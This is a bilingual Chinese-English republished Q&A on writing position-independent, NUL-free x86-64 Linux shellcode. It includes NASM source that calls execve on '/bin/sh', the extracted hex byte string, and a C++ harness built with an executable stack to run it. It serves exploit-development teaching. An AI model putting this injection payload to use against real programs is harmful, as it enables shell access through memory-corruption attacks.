指向没有 .data 部分的独立二进制代码中的字符串的指针 [英] Pointer to string in stand-alone binary code without .data section
问题描述
我正在尝试编写某种漏洞利用程序,但在使我的 asm 代码在堆栈上的任何位置运行时遇到了问题.就是这样:
I'm trying to write kind of exploit and have a problem with making my asm code run anywhere on the stack. Here's it:
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
由于选择了行,此代码在堆栈上的任何地方都不起作用,因为此代码可以在堆栈上的任何地方执行,因此 nasm 无法正确计算 arg 的地址.(这是 shellcode 调用的后续不同的系统调用,同时作为单独的代码单独运行和使用 C++ 代码运行时,这就是问题所在.)
This code won't work anywhere on the stack due to selected line because this code can be executed anywhere on the stack so nasm can't correctly compute arg's address. (This is a followup to shellcode calls different syscall while runing alone as individiual code and while running with C++ code where that was the problem.)
我已经很容易地用 jmp/call/pop 技巧替换了字符串,但仍然有指向字符串的指针的问题.
I've easily replaced strings with jmp/call/pop trick but still have a problem with pointer to string.
推荐答案
在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址.您的代码还会使用 mov rdx, 0
等指令在字符串中插入不需要的 NUL 字节.对于将作为字符串插入的 shellcode,您需要使用一组不会引入 NUL 的指令,因为这可能会过早结束字符串,具体取决于它是如何注入到可利用程序中的.
In 64-bit code you don't need the JMP/CALL/POP method since you have the ability to use RIP relative addressing. Your code also inserts unwanted NUL bytes in the string with instructions like mov rdx, 0
. For shellcode that will be inserted as strings you need to use a set of instructions that doesn't introduce a NUL as that can prematurely end the string depending on how it is injected into exploitable program.
execve
是定义为:
execve - 执行程序
execve - execute program
int execve(const char *pathname, char *const argv[],
char *const envp[]);
argv 是传递给新程序的参数字符串数组.经过约定,这些字符串中的第一个(即 argv[0])应该包含与正在执行的文件关联的文件名.envp 是一个字符串数组,通常采用 key=value 形式,它们是作为环境传递给新程序.argv 和 envp 数组每个数组的末尾都必须包含一个空指针.
argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.
如果不使用 envp 你可以传递一个 NULL.argv 需要是指向字符串的指针的 NULL 终止列表.在您的情况下,您正在尝试生成 C 代码的等效代码:
If not using envp you can pass a NULL. argv needs to be a NULL terminated list of pointers to strings. In your case you are trying to generate the equivalent of the C code:
#include <unistd.h>
int main()
{
char pathname[] = "/bin/sh";
char *argv[] = { pathname, NULL };
execve (pathname, argv, NULL);
return 0;
}
您可以完全在可以作为 shellcode 运行的汇编代码堆栈中执行此操作.以下代码在堆栈上构建 /bin/sh
字符串并将 RDI(路径名)指向它.然后它通过在堆栈上推送一个 NULL 并推送 RDI 中的值来构建以 NULL 结尾的 argv 列表.RSI 然后被设置为堆栈上的 argv 列表.RDX 已归零,因此 envp 列表为 NULL.然后调用 execve
(系统调用 59).我创建了一个 shellcode.asm
汇编文件:
You can do this entirely on the stack in assembly code that can be run as a shellcode. The following code builds the /bin/sh
string on the stack and points RDI (pathname) to it. It then builds the NULL terminated argv list by pushing a NULL on the stack and the value in RDI is pushed. RSI is then set to the argv list on the stack. RDX is zeroed so the envp list is NULL. The execve
(syscall 59) is then invoked. I create a shellcode.asm
assembly file with:
BITS 64
global _start
_start:
; Build pathname on the stack
sub rsp, 8 ; Allocate space for the pathname on the stack
mov rdi, rsp ; Set RDI to the space that will hold the pathname
mov dword [rsp], '/bin' ; Move the first 4 characters of the path into pathname
mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
; The '.' character will be replaced with a NUL byte
xor eax, eax ; Zero RAX
mov [rsp+7], al ; Terminate pathname by replacing the period with 0
; Build NULL terminated argv list on the stack
push rax ; NULL terminator
push rdi ; Pointer to pathname
mov rsi, rsp ; Point RSI to the argv array
xor edx, edx ; RDX = NULL(0) (we don't have an envp list)
mov al, 59 ; 59 = execve system call number
syscall ; Do the execve system call
使用以下命令将其构建为二进制可执行文件:
Build it into a binary executable with:
nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
运行 ./shellcode
应该会产生一个 Linux shell 提示.接下来将独立可执行文件转换为名为 shellcode.bin
的 shell 字符串二进制文件,然后使用 HEXDUMP 将其转换为 HEX 字符串:
Running ./shellcode
should produce a Linux shell prompt. Next convert the standalone executable to a shell string binary called shellcode.bin
and then convert it to a HEX string with HEXDUMP:
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
HEXDUMP 的输出应该是:
The output from the HEXDUMP should be:
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
注意:输出中没有 NUL (\x00
).
Note: There are no NUL (\x00
) in the output.
将字符串插入可利用的 C++ 程序调用 exploit.cpp
:
Insert the string into your exploitable C++ program call exploit.cpp
:
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
使用可执行堆栈将其编译为程序exploit
:
Compile it to the program exploit
with an executable stack:
g++ -Wl,-z,execstack exploit.cpp -o exploit
当使用 ./exploit
运行时,它应该显示一个 Linux shell 提示.strace ./exploit
应该为 execve
系统调用输出:
When run with ./exploit
it should present a Linux shell prompt. strace ./exploit
should output this for the execve
system call:
execve("/bin/sh", ["/bin/sh"], NULL) = 0
execve("/bin/sh", ["/bin/sh"], NULL) = 0
这篇关于指向没有 .data 部分的独立二进制代码中的字符串的指针的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!